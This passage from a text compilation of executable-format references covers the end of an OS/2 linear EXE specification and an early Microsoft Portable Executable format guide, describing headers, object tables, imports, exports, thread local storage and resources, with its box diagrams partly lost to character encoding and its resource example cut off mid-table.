           +-----+-----+-----+-----+     +-----+

     LEN = DB  String Length.
         This defines the length of the string in bytes.  The
         length of each ascii  name  string is limited to 127
         characters.

         The high bit  in the LEN field (bit 7) is defined as
         an Overload bit.  This bit signifies that additional
         information  is  contained in the  linear EXE module
         and will  be  used in the future for  parameter type
         checking.

     ASCII STRING = DB  ASCII String.
         This is  a variable  length string  with it's length
         defined in bytes by the LEN  field.  The  string  is
         case sensitive and is not null terminated.





     Preload Pages


 The  Preload Pages section  is an  optional section  in  the
 linear EXE module that coalesces a 'preload page set' into a
 contiguous section.  The  preload page set can be defined as
 the set of first used pages in the module.  The preload page
 set can be specified by the application developer or can  be
 derived by a  tool that  analyzes the programs memory  usage
 while  it  is  running.  By grouping the  preload  page  set
 together, the preload pages can be read  from the linear EXE
 module with one disk read.

 The structure of  the preload pages is no different than  if
 they  were  demand  loaded.  They  are  non-iterated  pages.
 Their sizes are determined  by the Object Page Table entries
 that  correspond.  If  the  specified size is less than  the
 PAGE SIZE field given in the linear  EXE  module  header the
 remainder of the page is filled with zeros when loaded.

 All pages  begin on a  PAGE  OFFSET  SHIFT boundary from the
 base of the preload page section, as specified in the linear
 EXE  header.  The  pages are ordered by logical  page number
 within this section.

Note: OS/2 2.0 does not respect preload pages. Performance tests
showed that better system performance was obtained by not
respecting the preload request in the executable file.




     Demand Load Pages


 The   Demand   Loaded   Pages  section   contains   all  the
 non-iterated  pages  for a linear  EXE  module that are  not
 preloaded.  When  required,  the whole  page is loaded  into
 memory  from  the module.  The characteristics  of  each  of
 these pages is specified  in the  Object Page  Table.  Every
 page begins on a PAGE OFFSET SHIFT  boundary  aligned offset
 from the demand  loaded pages base specified  in the  linear
 EXE header.  Their  sizes are determined by the  Object Page
 Table  entries that correspond.  If  the  specified size  is
 less than the PAGE SIZE field given in the linear EXE module
 header the  remainder  of the page is filled with zeros when
 loaded.  The pages are ordered by logical page number within
 this section.




     Iterated Data Pages


 The Iterated Data Pages section contains all the pages for a
 linear EXE module that are iterated.  When required, the set
 of iteration records are loaded into  memory from the module
 and  expanded  to  reconstitute  the  page.  Every   set  of
 iteration records begins on  a PAGE OFFSET SHIFT offset from
 the  OBJECT ITER  PAGES  OFF  specified  in  the linear  EXE
 header.  Their sizes are determined by the Object Page Table
 entries  that correspond.  The  pages are ordered by logical
 page number within this section.

 This  record structure is used to describe the iterated data
 for an object on a per-page basis.

           +-----+-----+-----+-----+
       00h |#ITERATIONS|DATA LENGTH|
           +-----+-----+-----+-----+-----+
       04h |DATA BYTES |   . . .   | ... |
           +-----+-----+-----+-----+-----+

 Figure 19. Object Iterated Data Record (Iteration Record)

     #ITERATIONS = DW  Number of iterations.
         This specifies the number of  times that the data is
         replicated.

     DATA LENGTH = DW  The size of the data pattern in bytes.
         This specifies the number of bytes of  data of which
         the pattern consists.  The maximum size is  one half
         of the PAGE SIZE (given in the module header).  If a
         pattern exceeds  this value then the data page  will
         not be condensed into iterated data.

     DATA  =  DB  *  DATA  LENGTH  The  Data  pattern  to  be
     replicated.
         The next iteration record  will  immediately  follow
         the  last  byte of the  pattern.  The  offset of the
         next iteration record is easily calculated from  the
         offset  of  this record  by adding  the  DATA LENGTH
         field  and  the sizes  of the  #ITERATIONS  and DATA
         LENGTH fields.





     Debug Information


 The debug information  is  defined by  the debugger  and  is
 not controlled by the linear EXE format or linker.  The only
 data defined by the linear EXE format relative  to the debug
 information is  it's offset  in  the  EXE file and length in
 bytes as defined in the linear EXE header.

 To  support multiple debuggers the first word of  the  debug
 information is  a type  field which determines the format of
 the debug information.

           00h   01h   02h   03h   04h
           +-----+-----+-----+-----+-----+-----+-----+-----+
           | 'N' | 'B' | '0' |  n  |   DEBUGGER DATA  . . . .
           +-----+-----+-----+-----+-----+-----+-----+-----+


     TYPE = DB DUP 4 Format type.
         This defines  the type of debugger data  that exists
         in  the  remainder of  the  debug  information.  The
         signature consists  of  a  string  of four (4) ASCII
         characters:   "NB0"    followed    by   the    ASCII
         representation  for 'n'.  The  values  for  'n'  are
         defined as follows.

         These format types are defined.

             00h = 32-bit CodeView debugger format.
             01h = AIX debugger format.
             02h = 16-bit CodeView debugger format.
             04h = 32-bit OS/2 PM debugger (IBM) format.

     DEBUGGER DATA = Debugger specific data.
         The  format  of the debugger data  is defined by the
         debugger that is being used.

         The  values  defined  for  the  type  field are  not
         enforced by the  system.  It is  the  responsibility
         of  the  linker  or  debugging tools to  follow  the
         convention for the type field that is defined here.



[]---<mince here>---<slice here>---<rip here>---<snip, snip>---<cut here>---[]

-------------------------------------------+
10 - Guide to Windows Portable Executables |
-------------------------------------------+

 PORTABLE EXECUTABLE FORMAT

 Author:  Micheal J. O'Leary


 Preface
 
 This document was edited and released by Microsoft Developer
 Support. It describes the binary portable executable format for NT.
 The information is provided at this point because we feel it will
 make the work of application development easier. Unfortunately, the
 information in this document may change before the final release of
 Windows NT. Microsoft is NOT committing to stay with these formats
 by releasing this document. Questions or follow-ups for any of the
 information presented here should be posted to CompuServe MSWIN32
 forum, section 6.
                    --Steve Firebaugh
                      Microsoft Developer Support
 
 

Contents

 1. Overview

 2. PE Header

 3. Object Table

 4. Image Pages

 5. Exports
   5.1 Export Directory Table
   5.2 Export Address Table
   5.3 Export Name Table Pointers
   5.4 Export Ordinal Table
   5.5 Export Name Table

 6. Imports
   6.1 Import Directory Table
   6.2 Import Lookup Table
   6.3 Hint-Name Table
   6.4 Import Address Table

 7. Thread Local Storage
   7.1 Thread Local Storage Directory Table
   7.2 Thread Local Storage CallBack Table

 8. Resources
   8.1 Resource Directory Table
   8.2 Resource Example

 9. Fixup Table
   9.1 Fixup Block

 10. Debug Information
   10.1 Debug Directory



1. Overview

    Ŀ  <Ŀ < Base of Image Header
     DOS 2 Compatible      
        EXE Header         
    Ĵ     
          unused           
    Ĵ     
      OEM Identifier       
      OEM Info             
                              DOS 2.0 Section
        Offset to             (for DOS compatibility only)
        PE Header          
    Ĵ     
       DOS 2.0 Stub        
       Program &           
       Reloc. Table        
    Ĵ  <
          unused      
    Ĵ  < Aligned on 8 byte boundary
        PE Header     
    Ĵ
       Object Table   
    Ĵ
       Image Pages    
         import info  
         export info  
         fixup info   
         resource info
         debug info   
    
    
Figure 1. A typical 32-bit Portable EXE File Layout



2. PE Header

    
    Ŀ
          SIGNATURE BYTES        CPU TYPE     # OBJECTS  
    Ĵ
           TIME/DATE STAMP              RESERVED          
    Ĵ
              RESERVED           NT HDR SIZE    FLAGS    
    Ĵ
      RESERVED   LMAJORLMINOR         RESERVED          
    Ĵ
              RESERVED                  RESERVED          
    Ĵ
           ENTRYPOINT RVA               RESERVED          
    Ĵ
              RESERVED                 IMAGE BASE         
    Ĵ
           OBJECT ALIGN                FILE ALIGN         
    Ĵ
      OS MAJOR     OS MINOR   USER MAJOR   USER MINOR   
    Ĵ
     SUBSYS MAJOR SUBSYS MINOR         RESERVED          
    Ĵ
            IMAGE SIZE                HEADER SIZE         
    Ĵ
           FILE CHECKSUM         SUBSYSTEM    DLL FLAGS  
    Ĵ
       STACK RESERVE SIZE           STACK COMMIT SIZE     
    Ĵ
       HEAP RESERVE SIZE            HEAP COMMIT SIZE      
    Ĵ
             RESERVED            # INTERESTING RVA/SIZES  
    Ĵ
       EXPORT TABLE RVA           TOTAL EXPORT DATA SIZE  
    Ĵ
       IMPORT TABLE RVA           TOTAL IMPORT DATA SIZE  
    Ĵ
      RESOURCE TABLE RVA         TOTAL RESOURCE DATA SIZE 
    Ĵ
      EXCEPTION TABLE RVA        TOTAL EXCEPTION DATA SIZE
    Ĵ
      SECURITY TABLE RVA         TOTAL SECURITY DATA SIZE 
    Ĵ
        FIXUP TABLE RVA          TOTAL FIXUP DATA SIZE    
    Ĵ
        DEBUG TABLE RVA          TOTAL DEBUG DIRECTORIES  
    Ĵ
      IMAGE DESCRIPTION RVA      TOTAL DESCRIPTION SIZE   
    Ĵ
       MACHINE SPECIFIC RVA       MACHINE SPECIFIC SIZE   
    Ĵ
      THREAD LOCAL STORAGE RVA       TOTAL TLS SIZE       
    
    
Figure 2. PE Header

Notes:

  o  A VA is a virtual address that is already biased by the Image
     Base found in the PE Header.  A RVA is a virtual address that is
     relative to the Image Base.
     
  o  An RVA in the PE Header which has a value of zero indicates the
     field isn't used.
     
  o  Image pages are aligned and zero padded to a File Align
     boundary.  The bases of all other tables and structures must be
     aligned on DWORD (4 byte) boundary.  Thus, all VA's and RVA's
     must be on a 32 bit boundary. All table and structure fields
     must be aligned on their "natural" boundaries, with the possible
     exception of the Debug Info.
     
SIGNATURE BYTES = DB * 4.
Current value is "PE/0/0". Thats PE followed by two zeros (nulls).

CPU TYPE = DW CPU Type.
This field specifies the type of CPU compatibility required by this
image to run.  The values are:

  o  0000h __unknown
     
  o  014Ch __80386
     
  o  014Dh __80486
     
  o  014Eh __80586
     
  o  0162h __MIPS Mark I (R2000, R3000)
     
  o  0163h __MIPS Mark II (R6000)
     
  o  0166h __MIPS Mark III (R4000)
     
# OBJECTS = DW Number of object entries.
This field specifies the number of entries in the Object Table.

TIME/DATE STAMP = DD Used to store the time and date the file was
created or modified by the linker.

NT HDR SIZE = DW This is the number of remaining bytes in the NT
header that follow the FLAGS field.

FLAGS = DW Flag bits for the image.
The flag bits have the following definitons:

  o  0000h __Program image.
     
  o  0002h __Image is executable.
     If this bit isn't set, then it indicates that either errors
     where detected at link time or that the image is being
     incrementally linked and therefore can't be loaded.
     
  o  0200h __Fixed.
     Indicates that if the image can't be loaded at the Image Base,
     then don't load it.
     
  o  2000h __Library image.
     
LMAJOR/LMINOR = DB Linker major/minor version number.

ENTRYPOINT RVA = DD Entrypoint relative virtual address.
The address is relative to the Image Base.  The address is the
starting address for program images and the library initialization
and library termination address for library images.

IMAGE BASE = DD The virtual base of the image.
This will be the virtual address of the first byte of the file (Dos
Header).  This must be a multiple of 64K.

OBJECT ALIGN = DD The alignment of the objects. This must be a power
of 2 between 512 and 256M inclusive. The default is 64K.

FILE ALIGN = DD Alignment factor used to align image pages.  The
alignment factor (in bytes) used to align the base of the image pages
and to determine the granularity of per-object trailing zero pad.
Larger alignment factors will cost more file space; smaller alignment
factors will impact demand load performance, perhaps significantly.
Of the two, wasting file space is preferable.  This value should be a
power of 2 between 512 and 64K inclusive.

OS MAJOR/MINOR = DW OS version number required to run this image.

USER MAJOR/MINOR # = DW User major/minor version number.
This is useful for differentiating between revisions of
images/dynamic linked libraries.  The values are specified at link
time by the user.

SUBSYS MAJOR/MINOR # = DW Subsystem major/minor version number.

IMAGE SIZE = DD The virtual size (in bytes) of the image.
This includes all headers.  The total image size must be a multiple
of Object Align.

HEADER SIZE = DD Total header size.
The combined size of the Dos Header, PE Header and Object Table.

FILE CHECKSUM = DD Checksum for entire file.  Set to 0 by the linker.

SUBSYSTEM = DW NT Subsystem required to run this image.
The values are:

  o  0000h __Unknown
     
  o  0001h __Native
     
  o  0002h __Windows GUI
     
  o  0003h __Windows Character
     
  o  0005h __OS/2 Character
     
  o  0007h __Posix Character
     
DLL FLAGS = DW Indicates special loader requirements.
This flag has the following bit values:

  o  0001h __Per-Process Library Initialization.
     
  o  0002h __Per-Process Library Termination.
     
  o  0004h __Per-Thread Library Initialization.
     
  o  0008h __Per-Thread Library Termination.
     
All other bits are reserved for future use and should be set to zero.

STACK RESERVE SIZE = DD Stack size needed for image.
The memory is reserved, but only the STACK COMMIT SIZE is committed.
The next page of the stack is a 'guarded page'. When the application
hits the guarded page, the guarded page becomes valid, and the next
page becomes the guarded page. This continues until the RESERVE SIZE
is reached.

STACK COMMIT SIZE = DD Stack commit size.

HEAP RESERVE SIZE = DD Size of local heap to reserve.

HEAP COMMIT SIZE = DD Amount to commit in local heap.

# INTERESTING VA/SIZES = DD Indicates the size of the VA/SIZE array
that follows.

EXPORT TABLE RVA = DD  Relative Virtual Address of the Export Table.
This address is relative to the Image Base.

IMPORT TABLE RVA = DD  Relative Virtual Address of the Import Table.
This address is relative to the Image Base.

RESOURCE TABLE RVA = DD  Relative Virtual Address of the Resource
Table. This address is relative to the Image Base.

EXCEPTION TABLE RVA = DD  Relative Virtual Address of the Exception
Table. This address is relative to the Image Base.

SECURITY TABLE RVA = DD  Relative Virtual Address of the Security
Table. This address is relative to the Image Base.

FIXUP TABLE RVA = DD  Relative Virtual Address of the Fixup Table.
This address is relative to the Image Base.

DEBUG TABLE RVA = DD  Relative Virtual Address of the Debug Table.
This address is relative to the Image Base.

IMAGE DESCRIPTION RVA = DD  Relative Virtual Address of the
description string specified in the module definiton file.

MACHINE SPECIFIC RVA = DD  Relative Virtual Address of a machine
specific value. This address is relative to the Image Base.

TOTAL EXPORT DATA SIZE = DD  Total size of the export data.

TOTAL IMPORT DATA SIZE = DD  Total size of the import data.

TOTAL RESOURCE DATA SIZE = DD  Total size of the resource data.

TOTAL EXCEPTION DATA SIZE = DD  Total size of the exception data.

TOTAL SECURITY DATA SIZE = DD  Total size of the security data.

TOTAL FIXUP DATA SIZE = DD  Total size of the fixup data.

TOTAL DEBUG DIRECTORIES = DD  Total number of debug directories.

TOTAL DESCRIPTION SIZE = DD  Total size of the description data.

MACHINE SPECIFIC SIZE = DD  A machine specific value.



3. Object Table

The number of entries in the Object Table is given by the # Objects
field in the PE Header.  Entries in the Object Table are numbered
starting from one.  The object table immediately follows the PE
Header.  The code and data memory object entries are in the order
chosen by the linker.  The virtual addresses for objects must be
assigned by the linker such that they are in ascending order and
adjacent, and must be a multiple of Object Align in the PE header.

Each Object Table entry has the following format:

    Ŀ
                         OBJECT NAME                       
    Ĵ
           VIRTUAL SIZE                   RVA             
    Ĵ
          PHYSICAL SIZE              PHYSICAL OFFSET      
    Ĵ
            RESERVED                    RESERVED          
    Ĵ
            RESERVED                  OBJECT FLAGS        
    
    
Figure 3.  Object Table

OBJECT NAME = DB * 8  Object name. This is an eight-byte null-padded
ASCII string representing the object name.

VIRTUAL SIZE = DD Virtual memory size.  The size of the object that
will be allocated when the object is loaded. Any difference between
PHYSICAL SIZE and VIRTUAL SIZE is zero filled.

RVA = DD Relative Virtual Address.  The virtual address the object is
currently relocated to, relative to the Image Base.  Each Object's
virtual address space consumes a multiple of Object Align (power of 2
between 512 and 256M inclusive. Default is 64K), and immediately
follows the previous Object in the virtual address space (the virtual
address space for a image must be dense).

PHYSICAL SIZE = DD Physical file size of initialized data.  The size
of the initialized data in the file for the object.  The physical
size must be a multiple of the File Align field in the PE Header, and
must be less than or equal to the Virtual Size.

PHYSICAL OFFSET = DD Physical offset for object's first page.  This
offset is relative to beginning of the EXE file, and is aligned on a
multiple of the File Align field in the PE Header.  The offset is
used as a seek value.

OBJECT FLAGS = DD Flag bits for the object.  The object flag bits
have the following definitions:

  o  000000020h __Code object.
     
  o  000000040h __Initialized data object.
     
  o  000000080h __Uninitialized data object.
     
  o  040000000h __Object must not be cached.
     
  o  080000000h __Object is not pageable.
     
  o  100000000h __Object is shared.
     
  o  200000000h __Executable object.
     
  o  400000000h __Readable object.
     
  o  800000000h __Writeable object.
     
All other bits are reserved for future use and should be set to zero.

4. Image Pages

The Image Pages section contains all initialized data for all
objects.  The seek offset for the first page in each object is
specified in the object table and is aligned on a File Align
boundary.  The objects are ordered by the RVA.  Every object begins
on a multiple of Object Align.



5. Exports

A typical file layout for the export information follows:

    Ŀ
         DIRECTORY TABLE   
    Ĵ
         ADDRESS TABLE     
                           
                           
                           
                           
                           
                           
    Ĵ
         NAME PTR TABLE    
                           
                           
                           
    Ĵ
         ORDINAL TABLE     
                           
                           
                           
    Ĵ
         NAME STRINGS      
                           
                           
    
    
Figure 4.  Export File Layout

5.1 Export Directory Table

The export information begins with the Export Directory Table which
describes the remainder of the export information.  The Export
Directory Table contains address information that is used to resolve
fixup references to the entry points within this image.

    Ŀ
                EXPORT FLAGS           
    Ĵ
               TIME/DATE STAMP         
    Ĵ
      MAJOR VERSION     MINOR VERSION 
    Ĵ
                 NAME RVA              
    Ĵ
               ORDINAL BASE            
    Ĵ
               # EAT ENTRIES           
    Ĵ
                # NAME PTRS            
    Ĵ
             ADDRESS TABLE RVA         
    Ĵ
            NAME PTR TABLE RVA         
    Ĵ
             ORDINAL TABLE RVA         
    
    
Figure 5.  Export Directory Table Entry

EXPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the export data was created.

MAJOR/MINOR VERSION = DW  A user settable major/minor version number.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.
This is the address relative to the Image Base.

ORDINAL BASE = DD First valid exported ordinal.
This field specifies the starting ordinal number for the export
address table for this image.  Normally set to 1.

# EAT ENTRIES = DD Indicates number of entries in the Export Address
Table.

# NAME PTRS = DD This indicates the number of entries in the Name Ptr
Table (and parallel Ordinal Table).

ADDRESS TABLE RVA = DD Relative Virtual Address of the Export Address
Table.
This address is relative to the Image Base.

NAME TABLE RVA = DD Relative Virtual Address of the Export Name Table
Pointers.
This address is relative to the beginning of the Image Base.  This
table is an array of RVA's with # NAMES entries.

ORDINAL TABLE RVA = DD Relative Virtual Address of Export Ordinals
Table Entry.
This address is relative to the beginning of the Image Base.

5.2 Export Address Table

The Export Address Table contains the address of exported entrypoints
and exported data and absolutes.  An ordinal number is used to index
the Export Address Table. The ORDINAL BASE must be subracted from the
ordinal number before indexing into this table.

Export Address Table entry formats are described below:

    Ŀ
               EXPORTED RVA            
    
    
Figure 6.  Export Address Table Entry

EXPORTED RVA = DD Export address.
This field contains the relative virtual address of the exported
entry (relative to the Image Base).

5.3 Export Name Table Pointers

The export name table pointers array contains address into the Export
Name Table.  The pointers are 32-bits each, and are relative to the
Image Base.  The pointers are ordered lexically to allow binary
searches.

5.4 Export Ordinal Table

The Export Name Table Pointers and the Export Ordinal Table form two
parallel arrays, separated to allow natural field alignment.  The
export ordinal table array contains the Export Address Table ordinal
numbers associated with the named export referenced by corresponding
Export Name Table Pointers.

The ordinals are 16-bits each, and already include the Ordinal Base
stored in the Export Directory Table.

5.5 Export Name Table

The export name table contains optional ASCII names for exported
entries in the image.  These tables are used with the array of Export
Name Table Pointers and the array of Export Ordinals to translate a
procedure name string into an ordinal number by searching for a
matching name string.  The ordinal number is used to locate the entry
point information in the export address table.

Import references by name require the Export Name Table Pointers
table to be binary searched to find the matching name, then the
corresponding Export Ordinal Table is known to contain the entry
point ordinal number.  Import references by ordinal number provide
the fastest lookup since searching the name table is not required.

Each name table entry has the following format:

    Ŀ
     ASCII STRING ::: ::::::::   '\0'  
    
    
Figure 7.  Export Name Table Entry

ASCII STRING = DB ASCII String.
The string is case sensitive and is terminated by a null byte.



6. Imports

A typical file layout for the import information follows:

    Ŀ
         DIRECTORY TABLE   
                           
                           
                           
    Ĵ
        NULL DIR ENTRY     
    
    
    Ŀ
       DLL1 LOOKUP TABLE   
                           
    Ĵ
             NULL          
    
    
    Ŀ
       DLL2 LOOKUP TABLE   
                           
    Ĵ
             NULL          
    
    
    Ŀ
       Dll3 LOOKUP TABLE   
                           
    Ĵ
             NULL          
    
    
    Ŀ
        HINT-NAME TABLE    
                           
    
    
    Ŀ
       DLL1 ADDRESS TABLE  
                           
    Ĵ
             NULL          
    
    
    Ŀ
       DLL2 ADDRESS TABLE  
                           
    Ĵ
             NULL          
    
    
    Ŀ
       DLL3 ADDRESS TABLE  
                           
    Ĵ
             NULL          
    
    
Figure 8.  Import File Layout

6.1 Import Directory Table

The import information begins with the Import Directory Table which
describes the remainder of the import information.  The Import
Directory Table contains address information that is used to resolve
fixup references to the entry points within a DLL image.  The import
directory table consists of an array of Import Directory Entries, one
entry for each DLL this image references. The last directory entry is
empty (NULL) which indicates the end of the directory table.

An Import Directory Entry has the following format:

    Ŀ
                IMPORT FLAGS           
    Ĵ
               TIME/DATE STAMP         
    Ĵ
      MAJOR VERSION     MINOR VERSION 
    Ĵ
                  NAME RVA             
    Ĵ
          IMPORT LOOKUP TABLE RVA      
    Ĵ
          IMPORT ADDRESS TABLE RVA     
    
    
Figure 9.  Import Directory Entry

IMPORT FLAGS = DD Currently set to zero.

TIME/DATE STAMP = DD Time/Date the import data was pre-snapped or
zero if not pre-snapped.

MAJOR/MINOR VERSION = DW  The major/minor version number of the dll
being referenced.

NAME RVA = DD Relative Virtual Address of the Dll asciiz Name.
This is the address relative to the Image Base.

IMPORT LOOKUP TABLE RVA = DD This field contains the address of the
start of the import lookup table for this image.  The address is
relative to the beginning of the Image Base.

IMPORT ADDRESS TABLE RVA = DD This field contains the address of the
start of the import addresses for this image.  The address is
relative to the beginning of the Image Base.

6.2 Import Lookup Table

The Import Lookup Table is an array of ordinal or hint/name RVA's for
each DLL. The last entry is empty (NULL) which indicates the end of
the table.

The last element is empty.

     3                                 0
     1
    Ŀ
    0   ORDINAL#/HINT-NAME TABLE RVA  
    
    
Figure 10.  Import Address Table Format

ORDINAL/HINT-NAME TABLE RVA = 31-bits (mask = 7fffffffh) Ordinal
Number or Name Table RVA.
If the import is by ordinal, this field contains a 31 bit ordinal
number.  If the import is by name, this field contains a 31 bit
address relative to the Image Base to the Hint-Name Table.

O = 1-bit (mask = 80000000h) Import by ordinal flag.

  o  00000000h __Import by name.
     
  o  80000000h __Import by ordinal.
     
6.3 Hint-Name Table

The Hint-Name Table format follows:

    Ŀ
           HINT       ASCII STRING |||
    Ĵ
    |||||||||||||||||  '\0'     PAD   
    
    
    
    The PAD field is optional.
    
Figure 11.  Import Hint-Name Table

HINT = DW Hint into Export Name Table Pointers.
The hint value is used to index the Export Name Table Pointers array,
allowing faster by-name imports.  If the hint is incorrect, then a
binary search is performed on the Export Name Ptr Table.

ASCII STRING = DB ASCII String.
The string is case sensitive and is terminated by a null byte.

PAD = DB Zero pad byte.
A trailing zero pad byte appears after the trailing null byte if
necessary to align the next entry on an even boundary.

The loader overwrites the import address table when loading the image
with the 32-bit address of the import.



6.4 Import Address Table

The Import Address Table is an array of addresses of the imported
routines for each DLL. The last entry is empty (NULL) which indicates
the end of the table.

7. Thread Local Storage

Thread local storage is a special contiguous block of data. Each
thread will gets its own block upon creation of the thread.

The file layout for thread local storage follows:
    Ŀ
         DIRECTORY TABLE   
    
    Ŀ
            TLS DATA       
    
    Ŀ
          INDEX VARIABLE   
    
    Ŀ
       CALLBACK ADDRESSES  
    

Figure 12.  Thread Local Storage Layout

7.1 Thread Local Storage Directory Table

The Thread Local Storage Directory Table contains address information
that is used to describe the rest of TLS.

The Thread Local Storage Directory Table has the following format:

    Ŀ
           START DATA BLOCK VA         
    Ĵ
            END DATA BLOCK VA          
    Ĵ
                 INDEX VA              
    Ĵ
             CALLBACK TABLE VA         
    
    
Figure 13.  Thread Local Storage Directory Table

START DATA BLOCK VA = DD Virtual Address of the start of the thread
local storage data block.

END DATA BLOCK VA = DD Virtual Address of the end of the thread local
storage data block.

INDEX VA = DD  Virtual Address of the index variable used to access
the thread local storage data block.

CALLBACK TABLE VA = DD Virtual Address of the callback table.

7.2 Thread Local Storage CallBack Table

The Thread Local Storage Callbacks is an array of Virtual Address of
functions to be called by the loader after thread creation and thread
termination. The last entry is empty (NULL) which indicates the end
of the table.

The Thread Local Storage CallBack Table has the following format:

    Ŀ
                FUNCTION1 VA           
    Ĵ
                FUNCTION2 VA           
    Ĵ
                                       
    Ĵ
                    NULL               
    
    
Figure 14.  Thread Local Storage CallBack Table

8. Resources

Resources are indexed by a multiple level binary-sorted tree
structure.  The overall design can incorporate 2**31 levels, however,
NT uses only three:  the highest is TYPE, then NAME, then LANGUAGE.

A typical file layout for the resource information follows:
    Ŀ
      RESOURCE DIRECTORY   
                           
                           
                           
    Ĵ
         RESOURCE DATA     
                           
                           
                           
                           
                           
                           
    
    
Figure 15.  Resource File Layout


The Resource directory is made up of the following tables:



8.1 Resource Directory Table
Ŀ
           RESOURCE FLAGS          
Ĵ
           TIME/DATE STAMP         
Ĵ
  MAJOR VERSION     MINOR VERSION 
Ĵ
    # NAME ENTRY   # ID ENTRY     
Ĵ
       RESOURCE DIR ENTRIES        


Figure 16.  Resource Table Entry


RESOURCE FLAGS = DD Currently set to zero.

TIME/DATE  STAMP = DD Time/Date the resource data was created by the
resource compiler.

MAJOR/MINOR VERSION = DW  A user settable major/minor version number.

# NAME ENTRY = DW The number of name entries.
This field contains the number of entries at the beginning of the
array of directory entries which have actual string names associated
with them.

# ID ENTRY = DW The number of ID integer entries.
This field contains the number of 32-bit integer IDs as their names
in the array of directory entries.

The resource directory is followed by a variable length array of
directory entries.  # NAME ENTRY is the number of entries at the
beginning of the array that have actual names associated with each
entry.  The entires are in ascending order, case insensitive strings.
# ID ENTRY identifies the number of entries that have 32-bit integer
IDs as their name.  These entries are also sorted in ascending order.

This structure allows fast lookup by either name or number, but for
any given resource entry only one form of lookup is supported, not
both. This is consistent with the syntax of the .RC file and the .RES
file.



The array of directory entries have the following format:
 3                                 0
 1
Ŀ
         NAME RVA/INTEGER ID       
Ĵ
E     DATA ENTRY RVA/SUBDIR RVA   


Figure 17.  Resource Directory Entry


INTERGER ID = DD ID.
This field contains a integer ID field to identify a resource.

NAME RVA = DD Name RVA address.
This field contains a 31-bit address relative to the beginning of the
Image Base to a Resource Directory String Entry.

E = 1-bit (mask 80000000h) Unescape bit.
This bit is zero for unescaped Resource Data Entries.

DATA RVA = 31-bits (mask 7fffffffh) Data entry address.
This field contains a 31-bit address relative to the beginning of the
Image Base to a Resource Data Entry.

E = 1-bit (mask 80000000h) Escape bit.
This bit is 1 for escaped Subdirectory Entry.

DATA RVA = 31-bits (mask 7fffffffh) Directory entries.
This field contains a 31-bit address relative to the beginning of the
Image Base to Subdirectory Entry.



Each resource directory string entry has the following format:
Ŀ
      LENGTH      UNICODE STRING  
Ĵ
                                   


Figure 18.  Resource Directory String Entry


LENGTH = DW Length of string.

UNICODE STRING = DW UNICODE String.

All of these string objects are stored together after the last
resource directory entry and before the first resource data object.
This minimizes the impact of these variable length objects on the
alignment of the fixed size directory entry objects. The length needs
to be word aligned.



Each Resource Data Entry has the following format:

    Ŀ
                  DATA RVA             
    Ĵ
                   SIZE                
    Ĵ
                  CODEPAGE             
    Ĵ
                  RESERVED             
    
    
Figure 19.  Resource Data Entry



DATA RVA = DD Address of Resource Data.
This field contains 32-bit virtaul address of the resource data
(relative to the Image Base).

SIZE = DD Size of Resource Data.
This field contains the size of the resource data for this resource.

CODEPAGE = DD Codepage.

RESERVED = DD Reserved - must be zero.

Each resource data entry describes a leaf node in the resource
directory tree.  It contains an address which is  relative to the
beginning of Image Base, a size field that gives the number of bytes
of data at that address, a CodePage that should be used when decoding
code point values within the resource data.  Typically for new
applications the code page would be the unicode code page.



8.2 Resource Example

The following is an example for an app. which wants to use the following data
as resources:

  TypeId#    NameId#   Language ID Resource Data
 00000001    00000001       0        00010001
 00000001    00000001       1        10010001
 00000001    00000002       0        00010002
 00000001    00000003       0        00010003
 00000002    00000001       0        00020001
 00000002    00000002       0        00020002
 00000002    00000003       0        00020003
 00000002    00000004       0        00020004
 00000009    00000001       0        00090001
 00000009    00000009       0        00090009
 00000009    00000009       1        10090009
 00000009    00000009       2        20090009

Then the Resource Directory in the Portable format looks like:
Offset         Data
0000:   00000000 00000000 00000000 00030000  (3 entries in this directory)
0010:   00000001 80000028     (TypeId #1, Subdirectory at offset 0x28)
0018:   00000002 80000050     (TypeId #2, Subdirectory at offset 0x50)
0020:   00000009 80000080     (TypeId #9, Subdirectory at offset 0x80)
0028:   00000000 00000000 00000000 00030000  (3 entries in this directory)
0038:   00000001 800000A0     (NameId #1, Subdirectory at offset 0xA0)
0040:   00000002 00000108     (NameId #2, data desc at offset 0x108)
0048:   00000003 00000118     (NameId #3, data desc at offset 0x118)
0050:   00000000 00000000 00000000 00040000  (4 entries in this directory)
0060:   00000001 00000128     (NameId #1, data desc at offset 0x128)
0068:   00000002 00000138     (NameId #2, data desc at offset 0x138)
0070:   00000003 00000148     (NameId #3, data desc at offset 0x148)
0078:   00000004 00000158     (NameId #4, data desc at offset 0x158)
0080:   00000000 00000000 00000000 00020000  (2 entries in this directory)
0090:   00000001 00000168     (NameId #1, data desc at offset 0x168)
0098:   00000009 800000C0     (NameId #9, Subdirectory at offset 0xC0)
00A0:   00000000 00000000 00000000 00020000  (2 entries in this directory)
00B0:   00000000 000000E8     (Language ID 0, data desc at offset 0xE8
00B8:   00000001 000000F8     (Language ID 1, data desc at offset 0xF8
00C0:   00000000 00000000 00000000 00030000  (3 entries in this directory)
00D0:   00000001 00000178     (Language ID 0, data desc at offset 0x178
00D8:   00000001 00000188     (Language ID 1, data desc at offset 0x188
00E0:   00000001 00000198     (Language ID 2, data desc at offset 0x198

00E8:   000001A8  (At offset 0x1A8, for TypeId #1, NameId #1, Language id #0
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
00F8:   000001AC  (At offset 0x1AC, for TypeId #1, NameId #1, Language id #1
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0108:   000001B0  (At offset 0x1B0, for TypeId #1, NameId #2,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0118:   000001B4  (At offset 0x1B4, for TypeId #1, NameId #3,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0128:   000001B8  (At offset 0x1B8, for TypeId #2, NameId #1,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0138:   000001BC  (At offset 0x1BC, for TypeId #2, NameId #2,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0148:   000001C0  (At offset 0x1C0, for TypeId #2, NameId #3,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0158:   000001C4  (At offset 0x1C4, for TypeId #2, NameId #4,
        00000004  (4 bytes of data)
        00000000  (codepage)
        00000000  (reserved)
0168:   000001C8  (At offset 0x1C8, for TypeId #9, NameId #1,
